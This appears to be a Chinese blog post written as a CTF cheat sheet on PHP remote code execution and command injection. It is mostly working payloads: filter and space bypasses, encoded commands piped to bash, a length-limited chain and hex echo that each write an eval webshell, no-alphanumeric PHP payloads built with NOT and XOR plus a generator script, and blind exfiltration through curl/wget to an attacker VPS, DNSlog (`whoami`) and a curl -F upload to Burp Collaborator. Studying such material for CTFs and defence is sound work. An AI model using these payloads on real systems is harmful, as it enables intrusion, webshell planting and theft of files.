RCE(ing)
一、RCE(远程代码执行漏洞)
owasp_top_10中,rce又称为os注入漏洞。 在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。
二、常见RCE漏洞函数
1.系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果; exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显); shell_exec():能将字符串作为OS命令执行 passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上; popen():打开进程文件指针 proc_open():与'popen()'类似 pcntl_exec():在当前进程空间执行指定程序; 反引号``:反引号``内的字符串会被解析为OS命令;
2.代码执行函数
eval():将字符串作为php代码执行; assert():将字符串作为php代码执行; preg_replace():正则匹配替换字符串; create_function():主要创建匿名函数; call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数; call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组; 可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
三、相关绕过
空格绕过
常见的绕过符号有:
cat flag.txt ${IFS} cat${IFS}flag.txt $IFS$9 cat$IFS$9flag.txt < cat<flag.txt <> cat<>flag.txt {,} {cat,flag.txt}
命令分隔符
%0a #换行符,需要php环境 %0d #回车符,需要php环境 ; #在 shell 中,是”连续指令” & #不管第一条命令成功与否,都会执行第二条命令 && #第一条命令成功,第二条才会执行 | #第一条命令的结果,作为第二条命令的输入 || #第一条命令失败,第二条才会执行
关键词过滤绕过
- 拼接绕过
#执行ls命令: a=l;b=s;$a$b #cat flag文件内容: a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat test文件内容 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
- 编码绕过
#base64 echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==> cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==> cat /flag #oct/字节 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
ps:
$()
、{}
、反引号 可以用于内联执行
- 单引号和双引号绕过
c'a't test cat test c"a"t test cat test
-
反斜杠绕过
ca\t test
-
通配符绕过
使用tac、od等指令读取文件可以识别通配符,如tac /fl*
* #通配多个字符 ? #通配单个字符 […] #表示匹配方括号之中的任意一个字符,如tac fl[a-z]g {…} #表示匹配大括号里面的所有模式,模式之间使用逗号分隔,如tac fl{a,b,c,d}g
长度限制绕过
>a
#虽然没有输入但是会创建a这个文件
ls -t
#ls基于基于事件排序(从晚到早)
sh a
#sh会把a里面的每行内容当作命令来执行
|
#管道符用于拼接指令
base64 -d
#使用base64编码避免特殊字符
w>hp w>1.p\\ w>d\>\\ w>\ -\\ w>e64\\ w>bas\\ w>7\|\\ w>XSk\\ w>Fsx\\ w>dFV\\ w>kX0\\ w>bCg\\ w>XZh\\ w>AgZ\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t|\ sh 等价于=>echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
无回显利用
exec,shell_exec等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果
判断方法:
-
延时判断:使用sleep指令查看是否存在命令执行
sleep 3
-
dnslog外带判断:
curl dd2olg.dnslog.cn
利用:
- 将执行指令的结果写入可读取文件
cat /flag > 1.txt cat /flag |tee 1.txt #tee指令可以使得结果写入参数文件中
- 使用cp、mv、tee等指令将flag文件转换成可以被查看的文件
copy flag.php flag.txt tee /flag 1.txt #将/flag复制为1.txt mv flag.php flag.txt
- 使用压缩指令,将flag文件转换成压缩包,下载后查看
tar cvf flag.tar flag.php #tar压缩 tar zcvf flag.tar.gz flag.php #tar解压 zip flag.zip flag.php #zip压缩 unzip flag.zip #zip解压
- 写入shell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php (3c3f706870206576616c28245f504f53545b3132335d293b203f3e是<?php eval($_POST[123]); ?>的十六进制编码) 等价于echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
- vps读取
在个人vps中写入php文件,内容如下
点击查看代码
<!-- record.php --> <?php $data =$_GET['data']; $f = fopen("flag.txt", "w"); fwrite($f,$data); fclose($f); ?>
payload
curl http://*.*.*.**/record.php?data=`cat flag.php|base64` wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
- DNSlog外带
使用dnslog获取日志url,payload
curl `whoami`.48hw0o.ceye.io
或使用burp
使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)
获取Collaborator Client分配给BURP的链接:
打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard
目标主机:
cmd=curl -X POST -F xx=@flag.php http://**.**.**.**
无字母、数字getshell---if(!preg_match("/[a-za-z0-9]+/is",$a))
- 取反绕过(url编码后取反)
生成(利用php函数):
<?php echo urlencode(~'phpinfo'); ?>
payload
?code=(~(%8F%97%8F%96%91%99%90))(); //?code=phpinfo(); ?code=(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4)); //file_put_contents('4.php','<?php eval(\$_POST[1]);');
结果如下:
- 异或绕过
构造python脚本生成异或payload
点击查看代码
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " answer = str(input("请输入进行异或构造的字符串:")) tmp1, tmp2 = '', '' for c in answer: for i in valid: for j in valid: if (ord(i) ^ ord(j) == ord(c)): tmp1 += i tmp2 += j break else: continue break print("tmp1为:",tmp1) print("tmp2为:",tmp2)
使用php代码进行验证
var_dump('tmp1'^'tmp2') var_dump('#'^'|'); //得到字符 _ var_dump('.'^'~'); //得到字符 P var_dump('/'^'`'); //得到字符 0 var_dump('|'^'/'); //得到字符 S var_dump('{'^'/'); //得到字符 T $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
值得注意的是,因为这里面一般是包含了特殊字符,所以需要再进行一次url编码
本文作者:abigmalon
本文链接:https://www.cnblogs.com/abigmalon/p/18555196
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。